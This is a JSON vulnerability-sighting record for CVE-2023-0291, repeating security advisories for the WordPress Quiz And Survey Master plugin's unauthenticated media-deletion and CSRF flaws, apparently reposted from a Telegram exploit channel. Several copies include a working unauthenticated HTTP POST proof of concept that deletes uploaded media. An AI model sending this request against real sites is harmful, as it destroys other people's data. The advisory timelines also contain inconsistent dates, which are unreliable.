{"vulnerability": "cve-2023-0291", "sightings": [{"uuid": "7770830d-d14e-470b-86b1-1bed646fd220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "seen", "source": "https://t.me/hacking_Attack/90592", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Media Deletion\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.\n\nSHA-256 | 45afa719cdeb338f8d0beb9b6c68e717ebfe472417ebe348bbc34459b0250c7c\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Missing Authentication for Critical Function [CWE-306]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0291\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" to unauthenticated\nusers which accepts a \"media_id\" parameter pointing to a any item uploaded through\nWordPress' media upload functionality. However, this \"media_id\" is afterward used\nin a forced wp_delete_attachment() call ultimately deleteing the media from the\nWordPress instance.\n\nSuccessful exploits can allow an unauthenticated attacker to delete any (and all)\nuploaded WordPress media files.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: localhost\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 44\n\naction=qsm_remove_file_fd_question&media_id=1\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n--\nMit freundlichen Gr\u00fc\u00dfen / With best regards / Atentamente\n\nJulien Ahrens\nFreelancer | Penetration Tester\n\nRCE Security\nVAT-ID: DE328576638\nWebsite: www.rcesecurity.com\nThis e-mail may contain confidential and/or privileged information.\nIf you are not the intended recipient (or have received this e-mail in\nerror) please notify the sender immediately and destroy this e-mail.\nAny unauthorized copying, disclosure or distribution of the material\nin this e-mail is strictly forbidden.\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.744653Z"}, {"uuid": "7da53978-8a9e-49e4-9a43-2aca43c1316a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "seen", "source": "https://t.me/hacking_Attack/90593", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.\n\nSHA-256 | 078ea2f052b0bdbecbdbb86ff5abadf7af3ecef36acd21e345034b86b58c3b8e\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Cross-Site Request Forgery (CSRF) [CWE-352]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0292\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" which is used to\ndelete uploaded media contents from the WordPress instance. However, the\nfunctionality is not protected by an anti-CSRF token/nonce.\n\nSince there is no anti-CSRF token protecting this functionality, it is vulnerable\nto Cross-Site Request Forgery attacks allowing an attacker to delete uploaded\nmedia contents on behalf of the attacked user.\n\nTo successfully exploit this vulnerability, a user with the right to access the\nplugin must be tricked into visiting an arbitrary website while having an\nauthenticated session in the application.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.792132Z"}, {"uuid": "900564af-ec7a-47de-aa10-d002f46d6ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "seen", "source": "https://t.me/hacking_Attack/90593", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.\n\nSHA-256 | 078ea2f052b0bdbecbdbb86ff5abadf7af3ecef36acd21e345034b86b58c3b8e\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Cross-Site Request Forgery (CSRF) [CWE-352]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0292\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" which is used to\ndelete uploaded media contents from the WordPress instance. However, the\nfunctionality is not protected by an anti-CSRF token/nonce.\n\nSince there is no anti-CSRF token protecting this functionality, it is vulnerable\nto Cross-Site Request Forgery attacks allowing an attacker to delete uploaded\nmedia contents on behalf of the attacked user.\n\nTo successfully exploit this vulnerability, a user with the right to access the\nplugin must be tricked into visiting an arbitrary website while having an\nauthenticated session in the application.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.440291Z"}, {"uuid": "8f02d97f-b645-4a52-81b6-f309c0577cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "seen", "source": "https://t.me/hacking_Attack/90592", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Media Deletion\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.\n\nSHA-256 | 45afa719cdeb338f8d0beb9b6c68e717ebfe472417ebe348bbc34459b0250c7c\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Missing Authentication for Critical Function [CWE-306]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0291\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" to unauthenticated\nusers which accepts a \"media_id\" parameter pointing to a any item uploaded through\nWordPress' media upload functionality. However, this \"media_id\" is afterward used\nin a forced wp_delete_attachment() call ultimately deleteing the media from the\nWordPress instance.\n\nSuccessful exploits can allow an unauthenticated attacker to delete any (and all)\nuploaded WordPress media files.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: localhost\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 44\n\naction=qsm_remove_file_fd_question&media_id=1\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n--\nMit freundlichen Gr\u00fc\u00dfen / With best regards / Atentamente\n\nJulien Ahrens\nFreelancer | Penetration Tester\n\nRCE Security\nVAT-ID: DE328576638\nWebsite: www.rcesecurity.com\nThis e-mail may contain confidential and/or privileged information.\nIf you are not the intended recipient (or have received this e-mail in\nerror) please notify the sender immediately and destroy this e-mail.\nAny unauthorized copying, disclosure or distribution of the material\nin this e-mail is strictly forbidden.\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.389806Z"}, {"uuid": "15efba26-64fc-4bce-849b-13c4289d89a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90592", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Media Deletion\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.\n\nSHA-256 | 45afa719cdeb338f8d0beb9b6c68e717ebfe472417ebe348bbc34459b0250c7c\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Missing Authentication for Critical Function [CWE-306]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0291\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" to unauthenticated\nusers which accepts a \"media_id\" parameter pointing to a any item uploaded through\nWordPress' media upload functionality. However, this \"media_id\" is afterward used\nin a forced wp_delete_attachment() call ultimately deleteing the media from the\nWordPress instance.\n\nSuccessful exploits can allow an unauthenticated attacker to delete any (and all)\nuploaded WordPress media files.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: localhost\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 44\n\naction=qsm_remove_file_fd_question&media_id=1\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n--\nMit freundlichen Gr\u00fc\u00dfen / With best regards / Atentamente\n\nJulien Ahrens\nFreelancer | Penetration Tester\n\nRCE Security\nVAT-ID: DE328576638\nWebsite: www.rcesecurity.com\nThis e-mail may contain confidential and/or privileged information.\nIf you are not the intended recipient (or have received this e-mail in\nerror) please notify the sender immediately and destroy this e-mail.\nAny unauthorized copying, disclosure or distribution of the material\nin this e-mail is strictly forbidden.\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T21:00:04.381872Z"}, {"uuid": "ad524dff-cfd2-4361-8f5c-e005018bdf57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90593", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.\n\nSHA-256 | 078ea2f052b0bdbecbdbb86ff5abadf7af3ecef36acd21e345034b86b58c3b8e\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Cross-Site Request Forgery (CSRF) [CWE-352]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0292\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" which is used to\ndelete uploaded media contents from the WordPress instance. However, the\nfunctionality is not protected by an anti-CSRF token/nonce.\n\nSince there is no anti-CSRF token protecting this functionality, it is vulnerable\nto Cross-Site Request Forgery attacks allowing an attacker to delete uploaded\nmedia contents on behalf of the attacked user.\n\nTo successfully exploit this vulnerability, a user with the right to access the\nplugin must be tricked into visiting an arbitrary website while having an\nauthenticated session in the application.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T21:00:04.488088Z"}, {"uuid": "823f25dc-08ea-4ce0-a1d7-126616301dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90592", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Media Deletion\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.\n\nSHA-256 | 45afa719cdeb338f8d0beb9b6c68e717ebfe472417ebe348bbc34459b0250c7c\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Missing Authentication for Critical Function [CWE-306]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0291\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" to unauthenticated\nusers which accepts a \"media_id\" parameter pointing to a any item uploaded through\nWordPress' media upload functionality. However, this \"media_id\" is afterward used\nin a forced wp_delete_attachment() call ultimately deleteing the media from the\nWordPress instance.\n\nSuccessful exploits can allow an unauthenticated attacker to delete any (and all)\nuploaded WordPress media files.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: localhost\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 44\n\naction=qsm_remove_file_fd_question&media_id=1\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n--\nMit freundlichen Gr\u00fc\u00dfen / With best regards / Atentamente\n\nJulien Ahrens\nFreelancer | Penetration Tester\n\nRCE Security\nVAT-ID: DE328576638\nWebsite: www.rcesecurity.com\nThis e-mail may contain confidential and/or privileged information.\nIf you are not the intended recipient (or have received this e-mail in\nerror) please notify the sender immediately and destroy this e-mail.\nAny unauthorized copying, disclosure or distribution of the material\nin this e-mail is strictly forbidden.\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:15.194989Z"}, {"uuid": "d08129ca-cfda-4b24-96f1-b1ee34d2510e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0291", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90593", "content": "Exploit Collector\nWordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nWordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.\n\nSHA-256 | 078ea2f052b0bdbecbdbb86ff5abadf7af3ecef36acd21e345034b86b58c3b8e\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Quiz And Survey Master\nVendor URL:     https://wordpress.org/plugins/quiz-master-next/\nType:           Cross-Site Request Forgery (CSRF) [CWE-352]\nDate found:     2023-01-13\nDate published: 2023-02-08\nCVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\nCVE:            CVE-2023-0292\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nQuiz And Survey Master 8.0.8 and below\n4. INTRODUCTION\n===============\nQuiz and Survey Master is the easiest WordPress Quiz Plugin which can be used\nto create engaging content to drive traffic and increase user engagement.\nEverything from viral quiz, trivia quiz, customer satisfaction surveys to employee\nsurveys. This plugin is the ultimate marketing tool for your website.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe plugin offers the ajax action \"qsm_remove_file_fd_question\" which is used to\ndelete uploaded media contents from the WordPress instance. However, the\nfunctionality is not protected by an anti-CSRF token/nonce.\n\nSince there is no anti-CSRF token protecting this functionality, it is vulnerable\nto Cross-Site Request Forgery attacks allowing an attacker to delete uploaded\nmedia contents on behalf of the attacked user.\n\nTo successfully exploit this vulnerability, a user with the right to access the\nplugin must be tricked into visiting an arbitrary website while having an\nauthenticated session in the application.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept would delete the uploaded media with the ID \"1\":\n7. SOLUTION\n===========\nUpdate to version 8.0.9\n8. REPORT TIMELINE\n==================\n2023-01-13: Discovery of the vulnerability\n2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291\n2023-01-18: Sent initial notification to vendor via contact form\n2022-01-18: Vendor response\n2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability\n2022-02-08: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:15.308487Z"}]}